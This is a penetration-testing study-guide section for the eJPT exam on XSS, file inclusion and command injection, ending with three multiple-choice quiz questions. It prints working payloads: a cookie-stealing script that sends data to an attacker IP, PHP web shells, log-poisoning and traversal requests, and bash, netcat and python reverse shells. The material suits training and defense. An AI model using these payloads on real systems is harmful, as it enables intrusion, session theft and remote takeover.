9.3 Cross-Site Scripting (XSS), File Inclusion & Command Injection
Key Takeaways
Cross-Site Scripting (XSS) executes arbitrary JavaScript within a victim's browser context, categorized into Reflected (non-persistent), Stored (database-backed), and DOM-based (client execution) variants.
The HttpOnly cookie flag prevents client-side scripts from accessing session tokens via document.cookie, mitigating direct session hijacking through XSS.
Local File Inclusion (LFI) enables attackers to traverse directories and read local system files or source code via PHP wrappers (php://filter), and can be escalated to RCE via web server log poisoning.
Remote File Inclusion (RFI) occurs when applications dynamically evaluate remote URLs due to insecure settings like allow_url_include = On, allowing immediate remote code execution.
OS Command Injection occurs when user input is concatenated into system shell commands, allowing arbitrary command execution and reverse shell establishment using separators such as ;, &&, and |.
9.3 Cross-Site Scripting (XSS), File Inclusion & Command Injection
Beyond authentication weaknesses and relational database flaws, web applications frequently suffer from input validation failures that allow client-side code execution, unauthorized local and remote file retrieval, and server-side command execution. On practical penetration testing examinations like the eJPT, operators must recognize and exploit Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and OS Command Injection.
While XSS targets the user's browser context to hijack sessions or steal credentials, File Inclusion and Command Injection target the hosting operating system directly. Mastering these three vulnerability classes enables a tester to traverse directories, read sensitive application source code, and achieve full Remote Code Execution (RCE).
Cross-Site Scripting (XSS) Architecture & Exploitation
Cross-Site Scripting occurs when an application receives untrusted input and includes it in a web page without adequate validation, output encoding, or escaping. This allows an attacker to inject and execute arbitrary client-side script (typically JavaScript) within the browser session of other users.
The Three Major Categories of XSS
+---------------------------------------------------------------------------------------+
| XSS VARIANT TAXONOMY |
+---------------------------------------------------------------------------------------+
| 1. REFLECTED XSS --> Payload in URL/Request reflected immediately in server response|
| (Non-persistent; victim must click attacker-crafted link) |
| 2. STORED XSS --> Payload stored in database/file; executes for every visitor |
| (Persistent; high severity, e.g., forum posts, user profiles) |
| 3. DOM-BASED XSS --> Payload handled entirely client-side via JavaScript sinks |
| (Never touches server backend; executed in Document Object) |
+---------------------------------------------------------------------------------------+
- Reflected XSS (Non-Persistent): The malicious payload is included in an HTTP request (such as a search query parameter) and reflected immediately back in the HTTP response. The payload is not stored on the server; an attacker must entice the victim into clicking a specially crafted malicious link (e.g., via phishing).
- Stored XSS (Persistent): The injected script is permanently stored by the application on the server (in a database, file system, or comment thread). Whenever a victim (such as an administrator) views the infected page, the malicious script executes automatically in their browser. This represents the most dangerous form of XSS.
- DOM-Based XSS: The vulnerability exists entirely within client-side JavaScript. The server response does not contain the payload; instead, client-side scripts read untrusted input from a source (such as
location.searchordocument.referrer) and pass it to an unsafe execution sink (such aseval(),document.write(), orelement.innerHTML).
Proof-of-Concept Payloads & Filter Evasion
To safely verify XSS during a penetration test without causing harm, testers inject basic script execution proofs:
<!-- Classic script block -->
<script>alert(1)</script>
<!-- Image tag with onerror event handler -->
<img src=x onerror=alert(1)>
<!-- Inline SVG with onload handler -->
<svg onload=alert(1)>
<!-- Input tag with autofocus handler -->
<input type="text" autofocus onfocus="alert(1)">
When standard <script> tags are filtered by simple keyword blacklists, attributes like onerror, onload, and onmouseover allow execution without <script> tags.
Exploitation Impact: Session Hijacking & the HttpOnly Defense
In practical assessments, XSS is weaponized to steal session cookies, allowing the attacker to impersonate administrative users:
// Stealing session cookies and transmitting to attacker listener
<script>
fetch('http://10.10.14.5:8000/?c=' + encodeURIComponent(document.cookie));
</script>
The tester stages a Python HTTP listener on their Kali system (python3 -m http.server 8000) and waits for incoming requests containing the session token.
Defense & Mitigation: Setting the HttpOnly attribute on Set-Cookie headers instructs the browser that the cookie cannot be accessed via client-side scripts (document.cookie). While HttpOnly prevents direct cookie theft, an attacker can still perform actions on the victim's behalf via Cross-Site Request Forgery (CSRF) or inject phishing forms to harvest credentials.
File Inclusion Vulnerabilities: LFI & RFI
File inclusion vulnerabilities occur predominantly in dynamic web frameworks (especially PHP) that allow file paths to be specified via user-controlled request parameters.
1. Local File Inclusion (LFI)
Consider a vulnerable PHP script that dynamically loads page content:
// Insecure file inclusion
$page = $_GET['page'];
include($page);
If the application performs no path sanitization, an attacker can supply directory traversal sequences (../) to escape the web root directory and read arbitrary operating system files:
GET /index.php?page=../../../../etc/passwd HTTP/1.1
Host: target.local
On Windows systems, directory traversal targets system files such as ..\..\..\windows\win.ini or ..\..\..\windows\system32\drivers\etc\hosts.
Reading PHP Source Code via Stream Wrappers
If an application includes a PHP script (e.g., page=config.php), the server will execute the PHP code rather than displaying its text. To view sensitive source code (such as database connection strings and passwords), testers utilize the PHP base64 filter wrapper:
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
Host: target.local
The server base64-encodes the raw file contents before passing it to the output stream, preventing execution. The tester copies the returned base64 string and decodes it on their terminal:
echo "PD9waHAgJGRiX3Bhc3MgPSAnU3VwZXJTZWNyZXQxMjMhJzsgPz4=" | base64 -d
# Output: <?php $db_pass = 'SuperSecret123!'; ?>
2. Remote File Inclusion (RFI)
Remote File Inclusion allows an application to load and execute a file hosted on a remote server controlled by the attacker. In PHP environments, RFI requires two configuration directives in php.ini:
allow_url_fopen = On
allow_url_include = On
When enabled, the tester hosts a text file containing PHP web shell code on an external web server:
# Attacker stages web shell on 10.10.14.5
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
python3 -m http.server 80
The tester then triggers execution via the vulnerable parameter:
GET /index.php?page=http://10.10.14.5/shell.txt&cmd=id HTTP/1.1
Host: target.local
The target web server downloads the file from the attacker and executes the enclosed PHP code, yielding immediate remote command execution.
3. Escalating LFI to Remote Code Execution (RCE) via Log Poisoning
When RFI is blocked, testers can achieve RCE through LFI by using log poisoning. Web servers log incoming HTTP requests to disk (e.g., Apache's /var/log/apache2/access.log or Nginx's /var/log/nginx/access.log).
+---------------------------------------------------------------------------------------+
| LOG POISONING WORKFLOW |
+---------------------------------------------------------------------------------------+
| 1. Deliver Payload --> Request: GET / HTTP/1.1 with User-Agent: <?php system($_GET['c']); ?>
| 2. Server Logging --> Apache writes payload into /var/log/apache2/access.log |
| 3. LFI Execution --> GET /index.php?page=../../../../var/log/apache2/access.log&c=id|
| 4. Command Output --> PHP interpreter parses the log, executing the injected code |
+---------------------------------------------------------------------------------------+
To avoid URL-encoding of PHP characters by browsers, send the poisoning payload using Netcat or Burp Repeater:
nc -nv 192.168.1.105 80
GET / HTTP/1.1
Host: 192.168.1.105
User-Agent: <?php system($_GET['c']); ?>
Connection: close
Next, include the access log through the LFI parameter:
GET /index.php?page=../../../../var/log/apache2/access.log&c=whoami HTTP/1.1
Host: 192.168.1.105
The PHP parser processes the access log, identifies the PHP opening tag in the User-Agent field, and executes the whoami command.
OS Command Injection
Command injection occurs when a server-side application passes unvalidated user input directly to a system shell interpreter (such as /bin/sh on Linux or cmd.exe on Windows) through functions like system(), exec(), shell_exec(), or passthru().
Consider a network troubleshooting utility:
// Insecure command execution
$target_ip = $_POST['ip'];
$output = shell_exec("ping -c 3 " . $target_ip);
echo "<pre>" . $output . "</pre>";
Command Separators & Shell Metacharacters
Attackers inject shell metacharacters to terminate the intended command and execute secondary operating system commands:
| Operator | Syntax & Name | Operational Behavior & Conditions |
|---|---|---|
; | Semicolon | Sequential execution. Executes the first command, then unconditionally executes the second command. |
&& | Logical AND | Conditional execution. Executes the second command only if the first command succeeds (returns exit code 0). |
|| | Logical OR | Conditional execution. Executes the second command only if the first command fails (returns a non-zero exit code). |
| | Pipe | Inter-process pipe. Redirects the standard output (stdout) of the first command into the standard input (stdin) of the second. |
`cmd` | Backticks | Command substitution. Evaluates cmd and replaces the token with the resulting output. |
$(cmd) | Subshell | Command substitution. Evaluates cmd in a subshell environment and substitutes output. |
%0a / \n | Newline | Injects a literal line feed, effectively acting as pressing Enter on a terminal prompt. |
Testing & Verification
To test for command injection:
- In-Band Testing: If output is reflected on the page, inject:
127.0.0.1; whoami 127.0.0.1 && id - Out-of-Band (Blind) Testing: If output is suppressed, verify execution by triggering an observable time delay or network packet transmission:
Monitor for incoming ICMP packets on the Kali interface:127.0.0.1; ping -c 4 10.10.14.5sudo tcpdump -i tun0 icmp
Establishing Reverse Shell Connections
Once command injection is verified, the ultimate objective on the eJPT is spawning an interactive reverse shell back to the tester's machine.
First, initialize a Netcat listener on your Kali host:
nc -nlvp 4444
Then, deliver one of the following reverse shell one-liners via the command injection vector:
1. Bash TCP Reverse Shell
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
If the application runs inside an environment where /bin/sh does not support /dev/tcp, wrap the command in a bash subshell:
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
2. Netcat Reverse Shells
If Netcat is compiled with the -e execution flag:
nc -e /bin/bash 10.10.14.5 4444
On modern Linux installations where Netcat OpenBSD or traditional lacks -e, use a named pipe (FIFO):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f
3. Python Reverse Shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
| Reverse Shell Method | Execution One-Liner | Target Prerequisites & Caveats |
|---|---|---|
| Bash /dev/tcp | bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | Requires Bash compiled with net redirection support; ubiquitous on Linux. |
| Netcat with -e | nc -e /bin/sh 10.10.14.5 4444 | Requires legacy or custom Netcat compiled with -DGAPING_SECURITY_HOLE. |
| Netcat Named Pipe | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 >/tmp/f | Highly reliable on modern Linux distributions lacking Netcat -e. |
| Python 3 Sockets | python3 -c 'import socket,subprocess,os;s=socket.socket(...);...' | Requires Python 3 runtime installed on the target operating system. |
Which HTTP response header attribute is designed specifically to prevent client-side JavaScript from accessing sensitive session tokens stored within cookies, mitigating direct session theft via Cross-Site Scripting (XSS)?
HttpOnly
Secure
SameSite=Strict
X-Content-Type-Options
During a web assessment, a penetration tester identifies a Local File Inclusion vulnerability in a PHP application: http://target.local/page.php?file=about.php. However, requesting the application's db.php script returns a blank page because the PHP interpreter executes the file server-side. Which technique enables the tester to read the raw PHP source code of db.php?
Using directory traversal: ?file=../../../../db.php
Injecting null bytes: ?file=db.php%00
Using the PHP base64 filter wrapper: ?file=php://filter/convert.base64-encode/resource=db.php
Issuing an HTTP POST request with User-Agent set to db.php
A web ping utility accepts user input and executes: ping -c 2 <INPUT>. An attacker discovers that input validation filters out semicolons (;) and ampersands (&). Which command delimiter will allow the attacker to execute a secondary command (whoami) if they intentionally supply an invalid ping target that causes the ping command to fail?
&&
|
`
||
Sections you finish are checked off in the contents.
You've completed this section
Continue exploring other exams